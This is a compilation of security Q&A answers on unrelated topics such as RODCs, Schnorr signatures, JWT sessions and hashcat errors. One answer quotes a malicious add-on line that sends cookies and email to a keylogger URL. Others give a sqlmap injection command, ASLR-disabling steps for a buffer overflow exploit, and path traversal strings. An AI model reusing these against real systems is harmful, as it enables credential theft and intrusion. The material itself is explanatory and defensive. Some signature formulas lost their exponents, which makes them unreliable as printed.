Any network related security benefits using RODC (Read Only DC) in DMZ?

RODCs really are all about physcial security, and not at all about network security. They're an upgrade of ye olde Backup Domain Controllers, that had a nasty tendency to get stolen (and the database along with it).
RODCs come with a unique kbtgt account, so they can't intrude on Active Directory, or decipher kerberos tickets on behalf of WDCs, in case of a physical breach, and by default RODCs don't allow password caching, again in case of a physical breach.
By restricting cached credentials, to only user and computer accounts belonging to a branch office, you limit the fallout in case of a breach, and you allow the branch office to continue functioning in case of a link down.
I know Microsoft technically officially supports putting RODCs in the DMZ, but from experience I can say that this is really more trouble than it's worth. You'll have to audit every single one of your AD integrated applications to ensure that it supports working with a RODC. Why? Because there are still many scenarios that RODCs simply do not support. Certain RPC calls can and will simply fail without reason. These scenarios are described in the Microsoft document Planning and Deploying Read-Only Domain Controllers, subsection Read-Only Active Directory Database, SYSVOL, and Unidirectional Replication:

When a user or application in a site that is serviced by an RODC attempts to perform a write operation, one of the following actions can occur:

The RODC forwards the write request to a writable domain controller and then replicates the change back from the writable domain controller. For most write operations, the change is replicated back to the RODC during the next scheduled replication interval. In some other cases, the RODC attempts to replicate the change immediately. An RODC forwards a very limited set of writes, including the following:

Most types of password changes. For more information about password changes, see Password changes on an RODC.
Service principal name (SPN) updates. When a domain-joined computer has a secure channel to an RODC and Netlogon attempts to update SPNs, the forwarding is done over RPC.
Some updates to client attributes over Netlogon: client name, DnsHostName, OsVersionInfo, OsName, Supported Encryption Types
LastLogonTimeStamp. When a domain-joined computer has a secure channel to an RODC and Netlogon attempts to update these attributes, the forwarding is done over LDAP.

The RODC sends a referral for a writable domain controller to the client. The application from which the write operation originated can then chase the referral and target a writable domain controller to perform the write operation. By default, RODCs send referrals for Lightweight Directory Access Protocol (LDAP) updates and Domain Name System (DNS) record updates.
The write operation fails: it is neither referred nor forwarded to a writable domain controller. In this case, the application requesting the write should be updated to specifically target a writable domain controller. A number of RPC writes fall under this category.


zero knowledge proof - where do we use it?

Zero-knowledge proofs are components in some rather complex protocols, in particular electronic voting schemes, in which votes are encrypted, but the voter must be able to prove that the vote complies to a specific format (e.g. it is the encryption of "0" or of "1", but nothing else) without revealing it.

It is also possible to turn (generically) any zero-knowledge proof into a digital signature scheme. The idea is that in a ZK proof, the prover sends commitments, then the verifier sends a challenge to which the prover must respond; the involved mathematics ensure that a fake prover would not be able to respond correctly to all possible challenge values. What makes the proof "convincing" is that the verifier does not collude with the prover and really sends a random challenge, not just "easy challenge values". Thus, the ZK interactive proof is convincing only insofar as we trust the verifier for not colluding. The proof is turned non-interactive by computing the challenge with a hash function over the whole set of commitments from the prover (hash functions act "randomly" by construction). By including the message to sign in the hash function input, you get a digital signature scheme.

The Schnorr signature scheme is an application of this construction principle. It works in a group where discrete logarithm is hard; for instance, there are publicly known parameters p, q and g (p is a big prime, q is a smaller but still big prime which divides p-1, g is an integer modulo p such that gq = 1 mod p). The signer knows a private value x, and the corresponding public key is y = g^x mod p. To sign message m, the signer does this:

The signer generates a random value k in the 1..q-1 range, and computes r = g^k mod p.
The signer computes e = H(m||r) where H is a hash function (e.g. SHA-256) and "||" denotes concatenation.
The signer computes s = k - xe mod q

The signature is then the pair (r,s). Verification is done that way:

The verifier recomputes e = H(m||r).
The verifier computes r' = gsye mod p.
The verifier verifies that r' = r.

If we want to see it as an adapted ZK proof, then r is the commitment from the prover (the signer, who want to prove his knowledge of x); e is the challenge, and s is the response to the challenge. The response does not reveal anything on x as long as the prover responds to a single challenge value, for a given commitment (i.e. for each signature, the signer will generate a new k which must be random and uniform, and never revealed to anybody).

However, for a fake prover who does not know x, responding to the challenge with a value s which fits in the verifying equation is not feasible unless he can predict the challenge e and craft his fake commitment in accordance. For instance, if the challenge e is known in advance, then the fake prover can simply choose a random s and compute his fake commitment r = gsye mod p. That's where the hash function H enters the scene: you cannot cheat with a hash function. If the hash function is a random oracle, then its output cannot be predicted in advance, and since the commitment r is used as input to the hash function, the prover is necessarily "committed" to his commitment.

In practice, the Schnorr signature scheme is very rarely used, but a variant known as DSA is rather widespread (along with its elliptic curve version ECDSA). DSA includes a few twists which make the signature shorter and make it sufficiently different from the Schnorr signature scheme to be out of the scope of Schnorr's patent (that patent is now expired anyway).

Most X.509 certificates in the wild, and thus SSL-enabled Web sites, use RSA, which is not built around a ZK proof. But ECDSA gains popularity because elliptic curves are highly fashionable.


How to restrict flash drives in Local Area Network

If the USB ports are not necessary, disable them in the BIOS (and password the BIOS), or simply epoxy over the USB sockets.

Some BIOSs will let you disable USB only for mass storage devices, which would seem to solve your problem. It's not a feature found on many boards, though.


Encrypting the API response in a single page app

Your API should check to see who is making the call and perform any sort of restrictions on the server side.

The way to deal with this is to implement server-side authorization and mitigate against insecure object reference and function level access control.  These should be standard anyway.

If your API returns information you don't want the caller to be able to see, you implemented the API wrong.  There is nothing you can do to protect the data at that point as the end user can simply monitor the network traffic using something like Chrome console.  Even if you encrypt it, the code to decrypt it lives in the end user's browser and can be reverse engineered.  I suppose you could withhold the key from everyone except authorized users, but what is the point in using up bandwidth by returning data that can't be read?  Instead of encrypting it, you may as well redact it, e.g. replace it with completely random gibberish, or replace it with empty strings.  Do it server side.


Has use of /dev/urandom instead of /dev/random ever caused a vulnerability?

Yes, there are.

A quick search shows CVE-2003-0094 for instance:

  A patch for mcookie in the util-linux package for Mandrake Linux 8.2
  and 9.0 uses /dev/urandom instead of /dev/random, which causes mcookie
  to use an entropy source that is more predictable than expected, which
  may make it easier for certain types of attacks to succeed.

Issues of using /dev/urandom instead of /dev/random may occur during the boot sequence. At that time, the system may not have enough entropy available to provide safe random numbers.

Concretely, this "entropy" designates the number of possible internal states for the pseudo-random numbers generator (PRNG):

When the start sequence is being initiated, the system starts from a known state, always the same (particularly true for virtual images), and mostly the same also on any other identical environment.
As the system processes more and more "things" (I/O or whatever), the number of possible states also growths more and more.
But during the boot sequence, relatively few things are being processed and above all these are mostly the same each time and on each identical environment.

The CVE linked above targets mcookie, which generates a secret for X authentication. But the very same thing for instance would also apply for the automatic generation of new SSH keys on the first boot after the installation of a system or the deployment of a new virtual machine.

A well-founded attacker could run the initial boot sequence of your VM template tens or hundreds of thousands of times and collect the keys generated each time. As the combination of ways a freshly installed system may boot is not infinite, I expect that at some point the attacker may find duplicates.

The attacker can then try to reuse those keys against identical systems who are still using the key automatically generated at install time.

While the post-install startup sequence is the most vulnerable, most (all?) systems now store a seed in some file to be used early-on upon next reboot.
This file is nothing special, just a random byte sequence designed to break any potential determinism in the early PRNG states.

So, nowadays, apart from material generated during the post-install phase, only code run before the seed has been loaded might still really show a vulnerability because it used /dev/urandom instead of /dev/random.


SSL Encryption (for HTTPs) & Security vs Performance

Switching from 1024-bit to 2048-bit means that the operations with the asymmetric private key will take about 8 times as much CPU. A "normal PC" core can do about 1000 1024-bit RSA operations per second, down to about 125 per second for 2048-bit RSA. Note that RSA is used only at the start of the SSL connection, not afterwards; moreover, in SSL, there is an abbreviated handshake by which the client and the server reuse the cryptographic exchange from a previous handshake. Web browsers and Web servers do that a lot, so the cost of RSA in SSL is really for new clients (i.e. clients who have not connected since the last time they closed and reopened their browser). It thus takes a hundred or so new clients per second to actually see performance issues related to the key size on the server. Not every Web server out there can boast such a context.

I encourage to make measures in an actual realistic context. Microbenchmarks ("how many decryptions per second ?") are not always good predictors.

As for security, 1024-bit RSA is, as yet, unbroken. Current breakage record is RSA-768. Some smart people have tried to equate RSA Key length with symmetric key robustness; see this site for details. The comparison is not perfect because breaking big RSA keys involves some operations which use an awful lot of very fast RAM, quite unlike exhaustive search on a symmetric key (an embarrassingly parallel task which has no need for RAM). Yet, 1024-bit RSA is somewhat equivalent to a 77 to 80-bit symmetric key. That's not enough for the paranoid, but still beyond that which has been demonstrated to be breakable with currently deployed technology.

NIST recommends using 2048-bit RSA keys right now (since 2010). If you use a 1024-bit RSA key, your site won't be broken that way (when it is hacked, it will be through another channel than upfront cryptanalysis); however, your customers might conceive the idea that by using an unfashionably small key, you don't really care about them. It is more about public relations than security...

If you really have actual performance trouble with 2048-bit RSA keys (I don't believe it, but hey, weird things happen), I encourage you to investigate elliptic curves. An ECDHE_ECDSA cipher suite with the P-256 NIST curve will be faster than RSA-1024, and as strong as (arguably stronger than) RSA-2048.


Upstream proxies can be configured in "User options" -> "Connections".

Excluding URL's works a bit different. You basically tell the upstream proxy what URL's you want to go through that proxy or you enter a URL without an upstream proxy (leave blank)


Is it important that every TLS1.2 encrypted message have padding?

When the size of the data and mac is equal to a multiple of the block size, a complete block of padding is added. So in effect, there no TLS message that is not padded.


How do enterprises deal with SSO and Google backing up WiFi credentials?

Single Sign On in a company means that you have one set of credentials for all the services the company uses

That is not correct.
Single signon means an employee only has to sign on once, with a single identity provider or authentication service. That signon creates an SSO session, along with a token or artifact. Other services and web sites can use the token/artifact to verify the identity of the user. They are able to do this only because they trust the single signon provider.
This mechanism does NOT mean that the user has the same credentials for all the services. In fact it is designed to avoid that scenario, because it is a very problematic practice.

Logically, these credentials might also be usable for Wifi.

No. Again, you should not re-use credentials.
SSO for Wifi isn't really possible, because the Wifi connection is usually required in order to be able to access the SSO provider, creating a chicken-and-the-egg scenario. You need to establish a network connection first.
It's possible you've seen situations that looked like an SSO for Wifi, but it was probably more of a captive portal situation, where the Wifi itself is open to the public but the wireless access point restricts the ability to access the network until you authenticate with one of its pages.


How securely use Firefox Add-on to prevent steal data?

How do you protect yourself

Firefox addons from the official site are put through the addon review proces https://addons.mozilla.org/en-US/developers/docs/policies/reviews

So you can check if an addon is official and has been reviewed before installing.

It's not 100% You can find a list of blocked addons removed by Mozilla due to given reasons (viruses, trojans, etc.) https://addons.mozilla.org/en-US/firefox/blocked/

Installing an addon from a 3rd party is more dangerous, so you may need to personally check the source code (which is possible since it's a zip of javascript files) or trust the author/provider.

How does the maleware work?

The .xul file contains the following line of code:

xhr.open("GET",
      "http://www.removedurl.com/keylogger/snooper.php?
       facebook="+cookie+'&email='+email, true);

So when you test this script on your own account it will be sending him the your password. For this reason you should delete this addon and change your password.


Either you haven't gone through the SQLmap docs yet or you haven't read the clarity for question which you need to post in the stackexchange docs. Either way, I am going to drop you of the basics since:

The fakesite you are referring to, doesn't matter if it's fake as long as there is a Input Validation vulnerability.
The fakesite 'ref' is called as a parameter. If this parameter isn't protected by parameterized SQL queries, it could be prone to SQL Injections - it's hard to say without testing the real scenario.
REALSITE is a value for the 'ref' parameter. What basically happens is you provide dummy special characters or test conditions to this parameter to detect presence of SQL Injections.

This is a very high level basic overview. SQLMap works the same way. Since the testing would only be limited to the original test suite's parameters which in this case happens to be 'ref', the constraints will be limited to 'FAKESITE' from your perspective. The REALSITE which is referred to shall not be auto-scanned if not fed into SQLMAP.

To scan via SQLMAP, the site which you wanted to test for MS-SQL Injections (since it's ASP), one would do:

sqlmap.py -u http://wwww.testsite.com/index.asp?ref=REALSITE --dbs --thread=10 --risk=5 --level=5

Here:

sqlmap.py is the program.

-u is a sqlmap switch which represents direct URL feed.

http://wwww.testsite.com/index.asp?ref=REALSITE is the test site to be tested.

ref is the parameter which SQLMAP automatically pareses and detects.

Also ref is the parameter where SQLMAP will inject it's payloads.

payloads are test conditions or special characters, via which the application generates abnormal outputs so that SQLMAP could detect these and hence know the presence of SQL Injection by comparing original request to the special request (the ones with payloads).

--thread=10 is the processing power. 10 is maximum, none is normal.

NOTE: you need not enter risk and level as it's for in-depth scans. Just a side note on it.


Security issues with using JWT + cookies for session authentication?

There are several issues when using JWT instead of session cookies:

The client can view the data stored in the JWT token. With sessions, this data remains on the server.
Logging out is complicated. When the user logs out of the application it is hard to stop the JWT token from being valid.
The data in the JWT can be out of date. If a user changes his username, he still has a valid JWT token containing his previous username, while that doesn't exist in the database anymore.
There have been some bugs in JWT libraries (and maybe even the specification?) that have reduced trust in the JWT system. Particularly the decision to let the client provide the JWT type (HS256 or RS256) is considered risky.
It relies on a key you need to keep secure. If someone compromises your key they can forge valid tokens.

Valid uses of JWT tokens involve single-sign on implementations, especially OpenID connect, where multiple systems are involved. They are not a good alternative for traditional sessions.

Some links:

Stop using JWT for sessions
Why JWTs Suck as Session Tokens
Attacking JWT authentication


Is converting malicious PDF to JPG then backwards via web services is good method to obtain safe PDF?

JPEG is an inert format which doesn't support complex extensions, embedded executable code and most other things that make PDF potentially risky. By converting to JPEG and back, you eliminate all potential vulnerabilities except for the ones in JPEG decompression. Popular image decompression libraries got a lot of security attention in the early 2010s so they should be pretty safe these days.
JPEG is bad at compressing text (its techniques are good with color gradients, and not so good with the kind of sharp contrast that text needs between background and text). So the result will be large and may be hard to read. And of course the text won't be selectable or searchable. Sanitizing the book as a PDF (or converting it to epub) while keeping the text as text would give a result that's a lot more usable.
Of course, if the PDF is malicious, it can attack the conversion service. But the conversion service is the one that takes the risk, rather than your PDF reader.


How do I get a third-party-signed ssl client certificate?

Unfortunately, the only way to get a CA client certificate is by using the managed PKI solutions you have mentioned.  As I have mentioned in my comment StartCom StartSSL Corporate may be the cheapest at around $2/certificate but says its for 1,000 certificates you have to contact them for an exact price.

Another solution that may be possible (depending on your requirements) would be to use OpenID with StartSSL Open Identity.  In this instance your users would just have to sign up with StartSSL and could login with their certificate.  Of course, you would not have as much control this way as the certificate would not be revokable by you and such, but you may be able to add aditional code to your application to handle the shortcomings of this solution.

The last option would be to roll your own Certificate Authority (which could be easy if you only need it for authentication).  The only downside is it sounds like this is not allowed by the other application.   You could use OpenSSL to achieve this.


How curl provided source code that the browser did not?

Browsers and curl should provide the same code, unless the server inspects the headers (like for the user-agent string) and sends the different code to different clients that connect.

This is not uncommon when trying to create a complex site that does not render well on older browsers. But in a CTF, it's a simple way to show completely different info to different browsers/clients.


SMTP is a hop-by-hop protocol where the mail is transferred from the client to the recipient by using at least one intermediary server. Even when SMTP is used with TLS the mail is available at all hops as plain text, i.e. no end-to-end encryption. SMTP Strict Transport Security does not change this: all it tries is to make sure that the transport of the mail between the hops is properly secured. But the mail is still available in plain on each hop and can be read and even modified by anyone having access to this hop (i.e. system administrators, and maybe hackers and government too).

Solutions like PGP or S/MIME instead offer end-to-end security. In this case the mail gets encrypted by the sender with the public key of the recipient, so that nobody except the owner of the secret private key (i.e. the recipient) can decrypt it. The mail then gets transferred by the usual SMTP protocol but nobody in between can decrypt the body of the mail (the header is not encrypted).

I cannot extract sufficient technical details about Zix from their home page but it looks like that they are basically using the same ideas as PGP and S/MIME, i.e. end-to-end encryption using a directory of the recipients public keys. On top of maintaining this directory they offer clients which use this directory, gateways for transparent encryption and decryption to connect the usual mail clients and special mailboxes to connect with recipients which are not in the directory.


Assuming existence of sufficient number of benign inputs?

Is that a realistic assumption in practice? Are there ways to automatically generate such benign inputs? Or is that an academic infancy?

That highly depends on what kind of input data you're trying to simulate. So the short answer is: only someone who's familiar with your domain can decide that.

Here's what I mean: If the "benign inputs" you're trying to simulate is realistic user data from Google Location Services, or typical browsing behaviour on Amazon.com, then yes, the ability to simulate those inputs is "in its academic infancy".

On the other hand, if you're trying to pen test an application that accepts a standardized protocol - for example the Certificate Management Protocol (CMP) - which has a very small number of accepted message types (~30 for CMP), then no, it's actually quite easy to generate a complete and exhaustive set of example inputs.

So what are you trying to do? What type of input data are you trying to simulate? If you edit your question to provide more details, we can give you a better answer.


Question 1: is the above still right on this day?

That is the only time the key can be extracted from memory. But if someone has the level of access to access memory, they can compromise your system in other ways, and then grab your keys the next time you log in.

has it become really difficult to find the master key since KeePass states it's been obfuscated?

The problem with obfuscation, or security by obscurity in general, is that only one person has to figure out how your system works and then the system is easy game for everyone.
In the particular case of KeePass, this is demonstrated by the existence of KeeThief. One person (or a group) reverse engineered the obfuscation, and now state-sponsored and lone hackers alike can extract KeePass keys from memory. However, since KeePass protects the keys with DPAPI, the keys cannot be extracted from an isolated memory dump alone. Instead you would have to be able to execute code on the same device (under the same user account) to decrypt the keys.


Best way of securing a "simple" PHP form

No, a database is best for storing information gathered from a web form as you can query it much easier than a text file. Following OWASP and using HTTPS are best practices, and for a simple form should be more than enough from the form's perspective.


First up to clarify:

If you only want to authenticate your destiny platform (i.e. verify its identity), you do not need a TPM. You can use a simple X.509 certificate as they are used e.g. with TLS.

Attestation is more than certification. It guarantees platform properties (which depend on your implementation). Attestation can enable identifying your destiny platform, although it does not necessarily have to.

I'll just make two assumptions:

You want to verify the destiny platform's integrity.
It is ok for you that the destiny platform can be identified (i.e. is not anonymous).

How you would do it:

In this case you need to do things. First you need to implement measured boot on your destiny platform. That is, early boot code is measured (hashed) before it is executed. The measurements are stored in the TPM's PCRs.

Then, you need to implement attestation. You have multiple options here. The simplest one is sealing a private key to your PCRs and use the key's public portion on the other device to encrypt your message. Of course there is a bootstrapping problem since you need to securely transfer that public key once and associate it with your platform.

Of course, this scales poorly. In fact, often, the Endorsement Key (EK) and the EK certificate are used. Basically, the TPM ships a certificate signed by its manufacturer which assures that it is a genuine TPM. Using the Attestation Certificate Authority (ACA) (sometimes Privacy Certificate Authority (PCA)) scheme, you don't need the one-time-association. I recommend Google's interactive learning platform. It includes a section about attestation - I recommend reading from the beginning, though.


Are virtualized environments vulnerable to the Row Hammer attack?

It depends on your adversary, though I will say no.

At the moment, there are no known vulnerabilities for this attack vector.  Thus, if your adversaries are script kiddies, then you are safe.

It will be a box of chocolates (not knowing what you might get), thus a useless attack:

A vulnerability likely might allow someone to read or modify a different row, but not knowing what information is where makes it nearly useless, thus eliminating most any adversary.
The HV layer can re-map or even swap out memory at any given moment
The HV might have a dozen or a hundred different VMs, there's no way to target one.
The HV might do something like VMotion and move it to a different hardware host
Even doing Row Hammer on the same VM to get elevated privileges is subject to the above, making it unpredictable.

When your threat / adversary has unlimited funding and is targeting you specifically, all bets are off, though likely, they would seek an easier path into the environment, including physical attacks.

Given the number of 0-day vulnerabilities, even those on Hypervisors themselves, Row hammer seems kinda pointless.


First, an answer to the original asker's (now ancient) question.
Unlike some tools (like ophcrack), NTLM hashes need to be separated out into their LM and NTLM components for hashcat to attack them separately,
either hashes only:
$ cat lm.hashes
[lm-hash1]
[lm-hash2]

$ cat ntlm.hashes
[ntlm-hash1]
[ntlm-hash2]

... or with users (which requires using the --username hashcat parameter):
$ cat lm-users.hashes
user1:[lm-hash1]
user2:[lm-hash2]

$ cat ntlm-users.hashes
user1:[ntlm-hash1]
user2:[ntlm-hash2]

This post from Didier Stevens outlines how to use the LM cracks (case-insensitive) to then attack the case-sensitive NTLM hashes.
Second, since the number of views that this question has (3K at this writing!) is a testament to how often this error confuses people, here's a more general answer.
hashcat throws the dreaded "line-length exception" error when hashcat  receives something that it tried to interpret as a hash, but the data received is not the expected length for the requested hash type.
I phrase it in this specific way because it's important to understand that some natural activities might cause this in surprising ways. When you're working with hashcat command line, it's easy to accidentally pass it something that hashcat is expecting to be a hash, but isn't -- so much so that there is a hashcat FAQ entry for the error.
The common triggers include:

The hashes aren't the type that you think they are, so the hash length doesn't match the requested type. This is often the most common, and the first thing to check. The best way to verify is to try the same command against the corresponding example hash in the hashcat example hashes list.

The hashes have unexpected characters at the end (often whitespace).

The supplied hashes include users or salts when they aren't expected (or they don't contain those, and they are expected). For example, you might supply hashes in a "username:hash" or similar format, but hashcat can't tell if "string:string" is really "hash:salt" or something else instead (use --username if you need to work on "username:hash" hashes).

Because of a typo or mis-ordering of command-line options, you accidentally pass a non-hashes file as the first "unflagged" parameter to hashcat. This is also quite common. For example, if you accidentally forget to put -r in front of a rules file, and you haven't specified a hash file yet, hashcat will think that that first "unflagged" parameter is your target hashfile, and will try to "crack" it. (Corollary: it's a good idea to place your hashfile relatively early in your command line, before anything else that takes a file as a parameter, to reduce the chances of this)

(I saved the weirdest one for last): When you are passing a file containing a list of hashes on the command line, but the file doesn't exist. This is because of a quirk in how hashcat processes the command line. The syntax for "hashcat [literal-hash-to-crack]" and "hashcat [file-containing-hashes-to-crack"] is exactly the same. This means that if you pass a file but it doesn't exist, hashcat says to itself "hmm, that thing they asked to crack wasn't a file, maybe they're trying to specify a hash directly?". Since the filename is almost never the same length as the hashes of the target hash type, you'll get the "this is the wrong length" error when what it really means is "the file doesn't exist".

So as long as you interpret the error as "there is something wrong with my input", and you investigate each of these possibilities, you should be able to resolve any "line-length exception" errors.


Server Certificates, certificate authority, and servers

A certificate is only as good as whoever validates it thinks it is. A certificate is good for SSL as long as the SSL clients (e.g. Web browsers, or VPN clients) accept it as good. Whatever you do, the existing clients will lead the dance.

A "wildcard" certificate is described in RFC 2818, section 3.1:

  Names may contain the wildcard
     character * which is considered to match any single domain name
     component or component fragment. E.g., .a.com matches foo.a.com but
     not bar.foo.a.com. f.com matches foo.com but not bar.com.

This is the only place where the "*" character has any special meaning. This means that your wildcard certificate is "a wildcard certificate" only in the context of a HTTPS server: in that context, the client will require that the intended server name (the one in the URL) matches the name in the certificate; the "wildcard" is a kind of match-all. So your certificate will be accepted by clients as a certificate for servers foo.domain.com, bar.domain.com, qux.domain.com... and so on.

Note that a few other protocols have more or less adopted the same name matching rules; e.g. a certificate for an IMAPS server will also need to contain the server name (that is, the name that the clients expect). Also, note that complete support for wildcards is kind of a rarity (clients who accept to consider *fo*.domain.com as matching foo.domain.com are not legion).

This is completely orthogonal to the question of issuing sub-certificates. A certificate which is accepted as an issuer for other certificate is called a CA certificate and the hallmark of a CA certificate is that it contains a Basic Constraints extension with the cA flag set to TRUE (see RFC 5280, section 4.2.1.9). No client will accept a certificate issued by your "wildcard" certificate unless it has this flag; and the presence or absence of a "*" character in the name is totally irrelevant here.

As a side note, I find a bit dubious the idea of "securing everything" by copying the same certificate and private key in many machines. The more you copy a private key, the less secret it becomes. Asymmetric cryptography was meant as a way to avoid copying secret keys. The normal certificate paradigm is that each entity in a network should have its own private key, instead of sharing the same private key between hosts.


Secure internet privacy in home at router level

VPNs are great at hiding what you do from people you know, but most people don't realize that doing so lets total strangers have access to some of your personal details which can be much worse.  For that reason, that is not a good solution anyways.

Most (if not all) routers do not log activity by default, but your tenants will necessarily believe that you didn't enable it without having access to its configuration which would be a security hazard for you.

The only good suggestion you can give them is to use secured connection (such as HTTPS).

Using a secured connection does prevent intermediaries from knowing what was exchanged and which page was viewed.  The only thing that may leak is the IP address which very rarely can be traced back to a specific page.


Cannot exploit stack-based buffer overflow with ASLR-disabled, since RSP differs heavily between executions?

The GCC -no-pie option partly disables ASLR: the binary will be loaded at fixed base address (i.e. 0x400000); however, other memory segments (e.g. stack) may still be loaded at random base addresses.

To completely disable ASLR, you need to disable it system-wide using:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Now, the stack will be loaded at a fixed base address. The addresses below are values of rsp just before ret in main (examined using r2 -d):

0x7fffffffdfb8
0x7fffffffdfb8
0x7fffffffdfb8
0x7fffffffdfb8
0x7fffffffdfb8
0x7fffffffdfb8

Given this, it should be easy to choose a target address into your NOP-sledge.


What are the supposed security benefits of a "dead-drop" email strategy?

The question "does it work" really depends on what threat you are trying to mitigate. For example, in the United Kingdom we are about to introduce legislation to mandate that ISPs keep logs of various types of internet activity.

How and where you might perform this interception is up for debate. For example, if an ISP attempts to intercept mail server communication, many email connections use TLS or the like, so this is (without an SSL proxy and the associated certificate issues) moderately difficult without CA complicity. However, they certainly can log anything sent by their mail server to satisfy the compliance needs. I suspect that the ISPs remit does not extend to logging mail sent by other providers, but might reasonably extend to IP addresses communicated with.

So, in sending an email via your GMail SMTP server, Whitehall would know that you accessed that IP address and they would then know who your email provider was. Depending on the implementation of the snooping, Whitehall can either ask Google, who would legally be required to comply, or they can ask the ISP that passed the packets, as they would have the technical means to provide it. I make this ambiguous because I'm not privy to how it would be done, and do not wish to speculate on an already hot enough topic.

If you do not actually send anything, that record is never created.

Now, that does not mean the message cannot be read. Mail servers store drafts in some format (Maildir, mbox, whatever exchange uses, SQL?) Assuming the government believe that information may or may not be valuable, they can via their legal mechanisms now gain access to the access records of that email inbox and, one assumes, deduce which IP addresses accessed that information.

This is where the problems arise for the government, and the reason for using this technique comes in. The assumption being made, I believe, is that each individual corresponds to an individual email address. As such, when you see that Jeff has sent Joel an email, you can add that to your picture of information about their social interactions. Formally, this field is known as Social Network Analysis. Facebook have been playing in this area with the social graph and there is much research done on the topic.

At a more fundamental level, the existence of evidence records linking A to B can (be attempted to be, I am not a lawyer) used as proof for any criminal act should it arise from the communication.

Anyway, back to the caveat. Logging in as the same user essentially breaks the email account to identity mapping, making it hard to work out who has communicated. This is essentially the same reasoning behind using a dead drop in traditional espionage, with the added difficulty that if both parties are changing their ip addresses regularly, your chances of working out who is communicating with whom reduces to very narrow. Depending on VPN providers used, you may be able to track down individuals; however, I suspect if your VPN provider is based abroad with no incentive to log any information, they would not help. Similarly, assuming no exploitable flaws in Tor, this system would also work nicely.

Interestingly, we had a similar debate on civil liberties and monitoring with the Digital Economy Act, or what was then just a Bill (proposed Act). At the time, the Security Service worried that being too strict on file sharers would essentially accelerate the adoption of encryption, making content snooping impossible. Specifically, effective traffic analysis requires non-encrypted tunnels.

This remains relevant here. I've mentioned VPN providers and using them to mask your IP address. Using a VPN provider from a nation with no interest in law enforcement co-operation, while turning on encryption means your ISP can deduce two things:

That you are using VPN;
Who your VPN provider is.

Unless the VPN provider co-operates in identifying you and the websites you access via their service, this gives the ISP very little of use to report to the government. Moreover, VPN configurations such as OpenSSL or SSTP can be configured to use explicit keys, rather than the CA certificate chain, and as such provided proper key verification occurs (i.e. you know the certificate of the remote end and reject any other certificate), you cannot be fooled into accepting a proxy key. You do have to get this right, and getting it wrong will leave you vulnerable to MITM, but it is possible.

All in all, this is an excellent communication mechanism should you wish to avoid any analysis that relies on your identity being tied to your email address and you use an appropriate technique properly to mask other properties that might uniquely identify you, e.g. IP address. In the interests of brevity, I have not discussed browser fingerprinting either, but that's relevant too.

You do not, of course, mitigate the threat that somebody could actually read that message, or the threat of it not arriving. And of course, if you give away who you are in such a message, the game is up again!


How to intercept url to disallow Forced Browsing in simple Dynamic Web Project?

You can disallow direct access to your static content, and then build a dynamic page that checks the authorisation, and then serves the content if the user is authorised.

For example http://www.example.com/static.jsp?content=example.txt

If you do this then be very careful that this page can only return content you want users to access, for example, don't allow users to do things like this:
http://www.example.com/static.jsp?content=/etc/passwd or http://www.example.com/static.jsp?content=../WEB-INF/web.xml

I'd suggest using a white list of the static content that this page is permitted to return.


When you XOR a random number with non-random number, does that give you a new random number?

A random value does not loose any of its randomness if it is combined without information loss with a non-random value. XOR against some fixed (i.e. non-random) value does not cause such information loss, i.e. the original random value can be recreated from the result by simply XORing again with the same fixed value. Contrary to that AND or OR  would cause information loss, i.e. they can not be reversed.

But the randomness does not increase either. Thus, if you XOR a 8 bit random value to a 32 bit non-random value it will result in 8 bit of randomness, not 32 bit.


Is there a way to bypass click-tracking links in emails?

Of the two main forms of email tracking, remote content has easier protections. Many email clients allow you to turn this off. You can test your email client settings here: https://www.emailprivacytester.com

Click tracking is harder to avoid. There may be some trackers that allow an after-the-fact "opt out", but that's risky and is not likely to allow you to delete the data (more likely to only suppress targeting based on the data collected, if these "opt outs" exist at all).

A few possible strategies:

Hover over links to see if there's a tracker, and if there is, never click;
Use a browser to search or surf to the sender's website and find the content manually;
Add chaff to the tracking by using a script that repeatedly "clicks" the links. This could help disguise when and how often the link is manually clicked, but in practice is challenging because you'd have to mimic the fingerprint of the email client;
Copy the link and paste it into a privacy-protective browser like Tor. They'll know you "clicked" and when, but they won't get your real IP address or device fingerprint, and therefore their ability to correlate that "click" with your other internet activity is minimized.

Click tracking triggers a range of privacy violations (read receipt, time of click, device and email client data, etc.) The best strategy depends on your priorities for which violations you are trying most to defend against.


Finding original command result from MD5 hash

The key aspect of hash functions that make them so useful is that they are one-way - it is very easy to hash an input and produce an output, but very difficult to convert a given output into a valid input. In other words, (in most cases) the best way to figure out what input was used to generate a given output is to guess-and-check.

The good news for you is that this can be automated, and MD5 is pretty fast - so you can guess-and-check many, many possible inputs.

Let's say you have an input in the format of "yyyy-MM-dd hh:mm:ss", and you know the date component (but not the time, so "2019-12-10 ??:??:??"). There are only ~85k possible  distinct time values to check, so if you simply enumerate through all the possible values until you get a match, you'll only have to run an average of ~42k hashes. For single pass MD5, most modern systems will be able to run this in a fraction of a second.

So, while there's no way to reverse the hash, in this instance brute-forcing it is not all that compute intensive.


Securing my firewall (both dedicated and iptables-based)

Your iptables rules look generally fine to me, although I cannot spot how you are enforcing 22 from the VPN only (unless you have configured sshd to only listen on the VPN IP, which should be ok).

Also you can use POLICY (-P) rather than your bottom two rules, but either should be fine.


What is the name of a vulnerability that leads to automatically opening received URLs?

What you've described is the impact of the vulnerability - a malicious URL being opened. If you're looking for a CWE, you're thinking about it from the wrong direction. CWEs describe weaknesses, which result in vulnerabilities, which result in potential impacts. Instead you should be considering how the vulnerability arose.

At a guess I'd say you're looking at some variant of 601 - Open Redirect, but that's a blind guess based on what you've said here.


Problem is that te certificate is valid for 1 year only and we have to
  redeploy it and reencrypt passwords everywhere every year.

Actually, you should be able to get a new certificate while reusing the old keypair. That way you would still have a valid certificate while still beeing able to decrypt any data without reencryption.

  how to safely store CA certificate?

The easiest and cheapest (and least secure) way is to have the CA private key in a password encrypted file on a server you consider secure.
One step up would be to buy a smartcard or crypto token which features a PKCS#11 interface for storing the key and doing CA operations.
The most secure option is buying a Hardware Security Module (HSM) which is technically just a very fast and very secure (and very expensive, thinks thousands to tenthousands of Euros) smartcard.

  What is a reasonable expiration time for the self signed certificates
  derived from our CA?

keylength.com gives an overview how long keys with a certain size can be considered secure from todays perspective. You should not exceed these limits.

  Are there tools to make this whole process simpler and secure?

Of course. A small and easy tool would be XCA for instance. If you plan to issue a lot of certificates or more advanced PKI features, the best open source solution out there is EJBCA. Very powerful, but it need considerable more time to get used to it.


Running requests via proxy will break a lot of default options for tools. If you look into how proxychains works you'll find:

